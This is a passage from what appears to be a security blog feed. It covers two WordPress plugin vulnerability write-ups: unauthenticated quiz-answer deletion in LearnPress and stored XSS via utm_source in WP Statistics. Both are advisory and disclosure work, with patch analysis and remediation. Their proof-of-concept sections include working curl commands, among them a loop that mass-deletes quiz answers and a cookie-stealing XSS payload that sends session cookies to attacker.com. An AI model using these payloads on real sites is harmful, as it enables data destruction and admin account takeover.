&lt;p&gt;WordPress nonces are &lt;strong&gt;CSRF tokens, not authentication tokens.&lt;/strong&gt; &lt;code&gt;wp_create_nonce(&apos;wp_rest&apos;)&lt;/code&gt; produces a token valid for 24 hours for the current user context — including guests and logged-out users. Verifying it confirms the request came from a page that rendered the nonce. It says nothing about whether the caller has permission to delete data. The developers appear to have confused nonce verification with access control.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;Because no capability check exists and the nonce is public, an unauthenticated attacker can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit any public page of the target WordPress site where LearnPress is active.&lt;/li&gt;
&lt;li&gt;Extract the &lt;code&gt;nonce&lt;/code&gt; value from the &lt;code&gt;lpData&lt;/code&gt; JavaScript object in the page HTML.&lt;/li&gt;
&lt;li&gt;Send crafted POST requests to &lt;code&gt;&amp;lt;site&amp;gt;/lp-ajax-handle&lt;/code&gt; with &lt;code&gt;lp-load-ajax=delete_question_answer&lt;/code&gt; and any &lt;code&gt;question_answer_id&lt;/code&gt; value.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permanently delete any quiz answer option&lt;/strong&gt; across all quizzes on the site, regardless of which course or instructor owns them.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a result, this vulnerability can be used to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Corrupt all quiz content site-wide, destroying assessment integrity.&lt;/li&gt;
&lt;li&gt;Remove the correct answer from every quiz, causing all enrolled students to fail (DoS of course content).&lt;/li&gt;
&lt;li&gt;Mass-delete answer options programmatically to disrupt a competitor&apos;s e-learning platform.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;learnpress&lt;/code&gt; plugin installed and activated.&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 4.3.2.8.&lt;/li&gt;
&lt;li&gt;At least one quiz question with more than two answer options (enforced by the plugin&apos;s own minimum-answers guard for single/multiple choice).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Obtain the public &lt;code&gt;wp_rest&lt;/code&gt; nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit any page of the target WordPress site where LearnPress is active (the homepage, any course page, etc.) as an unauthenticated visitor. Extract the nonce from the &lt;code&gt;lpData&lt;/code&gt; inline script in the page &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s https://TARGET_SITE/ \
  | grep -oP &apos;(?&amp;lt;=&quot;nonce&quot;:&quot;)[^&quot;]+&apos;)
echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, open the page in a browser, view source, and search for &lt;code&gt;&quot;nonce&quot;:&lt;/code&gt; inside the &lt;code&gt;&amp;lt;script id=&quot;lpData&quot;&amp;gt;&lt;/code&gt; block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Identify a target &lt;code&gt;question_answer_id&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Quiz answer IDs are stored in the &lt;code&gt;{prefix}_learnpress_question_answers&lt;/code&gt; database table. If you have read access to the database, simply run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT question_answer_id, question_id, title FROM wp_learnpress_question_answers LIMIT 20;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without database access, answer IDs can be guessed by trying small integers starting from 1 — the column is auto-increment. Enrolled students may also see answer IDs in AJAX responses when viewing quiz results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Delete an arbitrary quiz answer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;TARGET_SITE&lt;/code&gt;, &lt;code&gt;NONCE&lt;/code&gt;, &lt;code&gt;QUESTION_ID&lt;/code&gt;, and &lt;code&gt;ANSWER_ID&lt;/code&gt; with real values:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://TARGET_SITE/lp-ajax-handle&quot; \
  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
  --data-urlencode &quot;lp-load-ajax=delete_question_answer&quot; \
  --data-urlencode &quot;nonce=${NONCE}&quot; \
  --data-urlencode &apos;data={&quot;question_id&quot;: QUESTION_ID, &quot;question_answer_id&quot;: ANSWER_ID}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected successful response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;status&quot;:&quot;success&quot;,&quot;message&quot;:&quot;Question answer deleted successfully&quot;,&quot;data&quot;:{}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Mass deletion (automating across all answer IDs)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This loop deletes every answer in a range (for demonstration only — do not run against systems you do not own):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s https://TARGET_SITE/ | grep -oP &apos;(?&amp;lt;=&quot;nonce&quot;:&quot;)[^&quot;]+&apos;)
QUESTION_ID=1   # The parent question ID

for ANSWER_ID in $(seq 1 100); do
  RESULT=$(curl -s -X POST &quot;https://TARGET_SITE/lp-ajax-handle&quot; \
    -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
    --data-urlencode &quot;lp-load-ajax=delete_question_answer&quot; \
    --data-urlencode &quot;nonce=${NONCE}&quot; \
    --data-urlencode &quot;data={\&quot;question_id\&quot;: ${QUESTION_ID}, \&quot;question_answer_id\&quot;: ${ANSWER_ID}}&quot;)
  echo &quot;ID ${ANSWER_ID}: $RESULT&quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;Each successful request permanently removes the targeted answer option from the database. The deletion is irreversible unless the site operator has a database backup.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Connect to the WordPress database and verify the answer row no longer exists:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_learnpress_question_answers WHERE question_answer_id = ANSWER_ID;
-- Should return 0 rows after successful exploitation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Log in as a course instructor and navigate to the quiz editor — the deleted answer option will no longer appear.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;Changed Files&lt;/h3&gt;
&lt;p&gt;Only one PHP file was changed to address the vulnerability:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;inc/Models/Question/QuestionAnswerModel.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;$this-&amp;gt;check_capabilities_update()&lt;/code&gt; call inside &lt;code&gt;check_valid_before_delete()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Mechanism&lt;/h3&gt;
&lt;p&gt;The patch adds a single call in &lt;code&gt;check_valid_before_delete()&lt;/code&gt; (version comment updated to &lt;code&gt;1.0.1&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// inc/Models/Question/QuestionAnswerModel.php — patched version 4.3.3
public function check_valid_before_delete() {
    $questionPostModel = $this-&amp;gt;get_question_post_model();
    if ( ! $questionPostModel ) {
        throw new Exception( __( &apos;Question not found&apos;, &apos;learnpress&apos; ) );
    }

    $this-&amp;gt;check_capabilities_update();  // &amp;lt;-- ADDED IN 4.3.3

    if ( $questionPostModel-&amp;gt;get_type() === &apos;single_choice&apos; || ... ) {
        ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;check_capabilities_update()&lt;/code&gt; (already present in both versions) enforces:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function check_capabilities_update() {
    $user = wp_get_current_user();
    if ( ! user_can( $user, &apos;edit_&apos; . LP_LESSON_CPT, $this-&amp;gt;question_id ) ) {
        // LP_LESSON_CPT = &apos;lp_lesson&apos; (inc/lp-constants.php line 42)
        throw new Exception( __( &apos;You do not have permission to edit this item.&apos;, &apos;learnpress&apos; ) );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An unauthenticated visitor has no WordPress user object with &lt;code&gt;edit_lp_lesson&lt;/code&gt; capability. The check throws an exception, and the deletion never happens.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/inc/Models/Question/QuestionAnswerModel.php (4.3.2.8)
+++ b/inc/Models/Question/QuestionAnswerModel.php (4.3.3)
@@ -218,7 +218,11 @@ class QuestionAnswerModel {
     /**
      * @throws Exception
+     *
+     * @since 4.2.9
+     * @version 1.0.1
      */
     public function check_valid_before_delete() {
         $questionPostModel = $this-&amp;gt;get_question_post_model();
         if ( ! $questionPostModel ) {
             throw new Exception( __( &apos;Question not found&apos;, &apos;learnpress&apos; ) );
         }

+        $this-&amp;gt;check_capabilities_update();
+
         if ( $questionPostModel-&amp;gt;get_type() === &apos;single_choice&apos; || $questionPostModel-&amp;gt;get_type() === &apos;multi_choice&apos; ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Fix Completeness&lt;/h3&gt;
&lt;p&gt;The fix is &lt;strong&gt;effective but narrow.&lt;/strong&gt; It patches only the &lt;code&gt;delete&lt;/code&gt; path. The deeper architectural issue remains: a &lt;code&gt;wp_rest&lt;/code&gt; nonce is still exposed in public HTML and used as the sole gate for all &lt;code&gt;lp-load-ajax&lt;/code&gt; actions. Each action registered through &lt;code&gt;AbstractAjax::catch_lp_ajax()&lt;/code&gt; needs its own capability check. Relying on nonce verification alone is a recurring pattern in this codebase and warrants a broader audit.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 14, 2026&lt;/td&gt;
&lt;td&gt;Wordfence record last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;td&gt;Patched version 4.3.3 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;learnpress&lt;/code&gt; plugin to version &lt;strong&gt;4.3.3&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If you cannot update right away, add a WAF rule to block unauthenticated POST requests to &lt;code&gt;&amp;lt;site&amp;gt;/lp-ajax-handle&lt;/code&gt; that contain &lt;code&gt;lp-load-ajax=delete_question_answer&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/Ajax/EditQuestionAjax.php#L285&quot;&gt;https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/Ajax/EditQuestionAjax.php#L285&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/Ajax/AbstractAjax.php#L33&quot;&gt;https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/Ajax/AbstractAjax.php#L33&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/class-lp-assets.php#L177&quot;&gt;https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/class-lp-assets.php#L177&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-17T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5231: Stored XSS via utm_source in WP Statistics</title><link>https://hurayraiit.com/blog/cve-2026-5231-stored-xss-via-utm-source-in-wp-statistics/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5231-stored-xss-via-utm-source-in-wp-statistics/</guid><description>CVE-2026-5231: CVSS 7.2 Unauthenticated Stored XSS in WP Statistics ≤14.16.4 lets attackers inject scripts into admin pages via the utm_source parameter.</description><pubDate>Thu, 16 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5231&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; Unauthenticated Stored Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/wp-statistics/&quot;&gt;WP Statistics&lt;/a&gt; WordPress plugin. By crafting a single GET request with an XSS payload in the &lt;code&gt;utm_source&lt;/code&gt; URL parameter, an unauthenticated attacker can plant a malicious script directly in the database. The script runs in any administrator&apos;s browser the next time they open the Referrals or Social Media analytics pages. No credentials, no user interaction, and no follow-up action are needed.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WP Statistics – Simple, privacy-friendly Google Analytics alternative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp-statistics&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5231&quot;&gt;CVE-2026-5231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting via &lt;code&gt;utm_source&lt;/code&gt; Parameter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wp-statistics.14.16.4.zip&quot;&gt;&amp;lt;= 14.16.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wp-statistics.14.16.5.zip&quot;&gt;14.16.5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 16, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daroo-2&quot;&gt;daroo&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-statistics/wp-statistics-14164-unauthenticated-stored-cross-site-scripting-via-utm-source-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The WP Statistics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &lt;code&gt;utm_source&lt;/code&gt; parameter in all versions up to, and including, 14.16.4. This is due to insufficient input sanitization and output escaping. The referral parser copies the raw &lt;code&gt;utm_source&lt;/code&gt; value into the &lt;code&gt;source_name&lt;/code&gt; database field when a wildcard channel matches. Later, the chart renderer inserts that value into legend markup via &lt;code&gt;innerHTML&lt;/code&gt; — without escaping it.&lt;/p&gt;
&lt;p&gt;This makes it possible for unauthenticated attackers to inject arbitrary web scripts in admin pages that will execute whenever an admin accesses the Referrals Overview or Social Media analytics pages.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The exploit chains two separate flaws: unsanitized server-side storage and unsafe client-side rendering.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Server-side: Raw &lt;code&gt;utm_source&lt;/code&gt; stored in the database&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;File: &lt;code&gt;src/Service/Analytics/Referrals/ReferralsParser.php&lt;/code&gt;, line 62&lt;/p&gt;
&lt;p&gt;When a visitor loads a page with a &lt;code&gt;utm_source&lt;/code&gt; query parameter, the &lt;code&gt;parse()&lt;/code&gt; method extracts all source parameters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ReferralsParser.php, lines 31–36
$sourceParams = array_filter([
    &apos;utm_source&apos; =&amp;gt; Url::getParam($pageUrl, &apos;utm_source&apos;),
    &apos;source&apos;     =&amp;gt; Url::getParam($pageUrl, &apos;source&apos;),
    &apos;ref&apos;        =&amp;gt; Url::getParam($pageUrl, &apos;ref&apos;)
]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It then iterates through the channel definitions. When a channel&apos;s domain pattern is the wildcard &lt;code&gt;*&lt;/code&gt;, the raw, unvalidated &lt;code&gt;$value&lt;/code&gt; (the &lt;code&gt;utm_source&lt;/code&gt; string from the URL) is written directly into the &lt;code&gt;channels&lt;/code&gt; array as the &lt;code&gt;name&lt;/code&gt; — no sanitization, no validation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ReferralsParser.php, lines 56–64 (VULNERABLE)
if ($this-&amp;gt;checkDomain($channelDomain, $value)) {
    if (empty($channels[$key])) {
        $channels[$key] = $currentChannel;

        // Set the source name if the domain is wildcard
        if ($channelDomain == &apos;*&apos;) {
            $channels[$key][&apos;name&apos;] = $value;  // ← raw, unsanitized input stored here
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;name&lt;/code&gt; value is returned from &lt;code&gt;getSourceInfo()&lt;/code&gt; and saved in the &lt;code&gt;source_name&lt;/code&gt; column of the &lt;code&gt;wp_statistics_visitor&lt;/code&gt; table via &lt;code&gt;ReferralsManager::handleLastTouchAttributionModel()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ReferralsManager.php, lines 37–39
$data[&apos;source_channel&apos;] = $visitorProfile-&amp;gt;getSource()-&amp;gt;getChannel();
$data[&apos;source_name&apos;]    = $visitorProfile-&amp;gt;getSource()-&amp;gt;getName();  // ← XSS payload persisted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Client-side: Stored payload rendered via &lt;code&gt;innerHTML&lt;/code&gt; without escaping&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When an admin views the &lt;strong&gt;Referrals Overview&lt;/strong&gt; or &lt;strong&gt;Social Media&lt;/strong&gt; analytics pages, &lt;code&gt;SocialMediaChartDataProvider::setThisPeriodData()&lt;/code&gt; queries the &lt;code&gt;source_name&lt;/code&gt; from the database and calls &lt;code&gt;addChartDataset()&lt;/code&gt; with it as the &lt;code&gt;label&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SocialMediaChartDataProvider.php, lines 80–92
$data = $this-&amp;gt;visitorsModel-&amp;gt;getReferrers($this-&amp;gt;args);

foreach ($data as $item) {
    $thisParsedData[$item-&amp;gt;source_name][$item-&amp;gt;last_counter] = $visitors;
}

foreach ($topData as $socialMedia =&amp;gt; &amp;amp;$data) {
    $this-&amp;gt;addChartDataset(
        ucfirst($socialMedia),  // ← source_name used as chart label, passed to JS
        array_values($data)
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The plugin converts the chart dataset to JSON and sends it to the frontend. In &lt;code&gt;chart.js&lt;/code&gt;, the &lt;code&gt;updateLegend()&lt;/code&gt; function renders each dataset&apos;s label using &lt;code&gt;innerHTML&lt;/code&gt; without any HTML encoding:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// chart.js, lines 499–507 (VULNERABLE)
legendItem.innerHTML = `
    &amp;lt;span&amp;gt;${dataset.label}&amp;lt;/span&amp;gt;    &amp;lt;!-- ← XSS payload executes here --&amp;gt;
    &amp;lt;div&amp;gt;
        &amp;lt;div class=&quot;current-data&quot;&amp;gt;
            &amp;lt;span class=&quot;wps-postbox-chart--item--color&quot; ...&amp;gt;&amp;lt;/span&amp;gt;
            ${currentData.toLocaleString()}
        &amp;lt;/div&amp;gt;
        ${previousDataHTML}
    &amp;lt;/div&amp;gt;`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same unsafe pattern exists at:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;chart.js&lt;/code&gt; line 125 — &lt;code&gt;externalTooltipHandler&lt;/code&gt; tooltip rendering&lt;/li&gt;
&lt;li&gt;&lt;code&gt;helper.js&lt;/code&gt; line 345 — &lt;code&gt;wps_js.horizontal_bar&lt;/code&gt; label rendering&lt;/li&gt;
&lt;li&gt;&lt;code&gt;components/traffic-hour-chart.js&lt;/code&gt; lines 44 and 272 — &lt;code&gt;TrafficHourCharts&lt;/code&gt; legend and tooltip rendering&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The vulnerability has two independent root causes that combine to form a stored XSS:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing server-side sanitization&lt;/strong&gt;: &lt;code&gt;ReferralsParser.php&lt;/code&gt; stores the raw URL parameter value in the database without calling &lt;code&gt;sanitize_text_field()&lt;/code&gt; or any equivalent sanitization function before saving it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Unsafe client-side rendering&lt;/strong&gt;: Multiple chart rendering functions in &lt;code&gt;chart.js&lt;/code&gt;, &lt;code&gt;helper.js&lt;/code&gt;, and &lt;code&gt;traffic-hour-chart.js&lt;/code&gt; assign &lt;code&gt;dataset.label&lt;/code&gt; into &lt;code&gt;innerHTML&lt;/code&gt; using ES6 template literals, which do not HTML-encode the inserted values.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Either fix alone would break the exploit chain. The patch addresses both.&lt;/p&gt;
&lt;h3&gt;How Controls Were Bypassed&lt;/h3&gt;
&lt;p&gt;The plugin intentionally skips nonce and authentication checks on its tracking endpoint — visitor tracking must work for anonymous users. The &lt;code&gt;utm_source&lt;/code&gt; parameter is a standard Google Analytics campaign parameter expected in ordinary URLs.&lt;/p&gt;
&lt;p&gt;Because the value passes through PHP without sanitization, a malicious string reaches the database and sits there until an admin views the analytics dashboard. At render time, the plugin applies no output escaping either. It converts the data to JSON, passes it to a JavaScript variable, and the chart code writes it into the DOM via &lt;code&gt;innerHTML&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Execute arbitrary JavaScript in the browser of any administrator who views the Referrals Overview or Social Media analytics pages.&lt;/li&gt;
&lt;li&gt;Steal session cookies and hijack the admin account.&lt;/li&gt;
&lt;li&gt;Create rogue administrator accounts via the WordPress REST API.&lt;/li&gt;
&lt;li&gt;Install malicious plugins or modify site content.&lt;/li&gt;
&lt;li&gt;Redirect site visitors to external malicious sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The payload stays in the database. Every time an admin views those pages, it fires — one request from the attacker is all it takes.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;wp-statistics&lt;/code&gt; plugin installed and activated.&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 14.16.4.&lt;/li&gt;
&lt;li&gt;The site must have at least one visitor record with an external referrer (or the attacker provides one directly via the request below).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Send the poisoned request&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Make a single GET request to the target WordPress site with the XSS payload in the &lt;code&gt;utm_source&lt;/code&gt; parameter. Use any valid page URL. A referrer header pointing to an external domain ensures the plugin&apos;s referral tracking fires:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -o /dev/null -w &quot;%{http_code}&quot; \
  -H &quot;Referer: https://t.co/&quot; \
  &quot;https://TARGET-SITE.com/?utm_source=%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;URL-decoded payload: &lt;code&gt;&amp;lt;img src=x onerror=alert(document.cookie)&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The plugin&apos;s tracker fires on every page load for anonymous visitors. It extracts the &lt;code&gt;utm_source&lt;/code&gt; value and matches it against the wildcard &lt;code&gt;*&lt;/code&gt; domain for the &quot;social&quot; channel — because the referrer is &lt;code&gt;t.co&lt;/code&gt;. The raw value is then stored in the &lt;code&gt;source_name&lt;/code&gt; column with no sanitization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Wait for an administrator to view the Referrals page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When an admin opens &lt;strong&gt;WP Statistics → Referrals&lt;/strong&gt; (or the Social Media sub-page), the chart code fetches the poisoned &lt;code&gt;source_name&lt;/code&gt; from the database and renders it via &lt;code&gt;innerHTML&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The payload &lt;code&gt;&amp;lt;img src=x onerror=alert(document.cookie)&amp;gt;&lt;/code&gt; executes, displaying the admin&apos;s cookies. A real attacker would replace &lt;code&gt;alert(document.cookie)&lt;/code&gt; with a script that sends the cookie to their own server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Exfiltration payload (URL-encode before placing in utm_source):
# &amp;lt;img src=x onerror=&quot;fetch(&apos;https://attacker.com/steal?c=&apos;+document.cookie)&quot;&amp;gt;
curl -s -o /dev/null \
  -H &quot;Referer: https://t.co/&quot; \
  &quot;https://TARGET-SITE.com/?utm_source=%3Cimg+src%3Dx+onerror%3D%22fetch%28%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%29%22%3E&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The admin&apos;s browser executes the injected JavaScript when the Referrals Overview or Social Media analytics page loads. With a cookie-stealing payload, the attacker receives the &lt;code&gt;wordpress_logged_in_*&lt;/code&gt; session cookie and can immediately log in as that admin.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log in to WordPress as an administrator.&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;WP Statistics → Referrals → Social Media&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;If the exploit succeeded, a JavaScript alert (or network request to the attacker&apos;s server) fires in the browser.&lt;/li&gt;
